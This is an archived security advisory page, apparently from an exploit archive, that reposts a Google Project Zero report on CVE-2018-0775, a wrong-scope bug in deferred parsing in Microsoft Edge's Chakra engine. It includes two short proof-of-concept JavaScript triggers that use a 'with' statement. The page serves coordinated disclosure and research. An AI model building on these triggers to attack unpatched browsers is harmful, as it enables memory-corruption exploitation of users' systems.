Exploit the possiblities

Microsoft Edge Chakra Deferred Parsing

Microsoft Edge Chakra Deferred Parsing
Posted Jan 18, 2018
Authored by Google Security Research, lokihardt

Microsoft Egde Chakra deferred parsing makes wrong scopes.

tags | exploit
advisories | CVE-2018-0775
MD5 | 8ebf986754c648c945c174f53fac15d2

Microsoft Edge Chakra Deferred Parsing

Change Mirror Download
Microsoft Edge: Chakra: Deferred parsing makes wrong scopes #2

CVE-2018-0775


Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to <a href="/p/project-zero/issues/detail?id=1310" title="Microsoft Edge: Chakra: Deferred parsing makes wrong scopes" class="closed_ref" rel="nofollow"> issue 1310 </a>.

PoC:
// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
with ({}) {
(function () {
print(f);
})();
}
}());` + '\n'.repeat(0x1000));

PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
with ({}) {
(function () {
print(f);
})();
}
}());


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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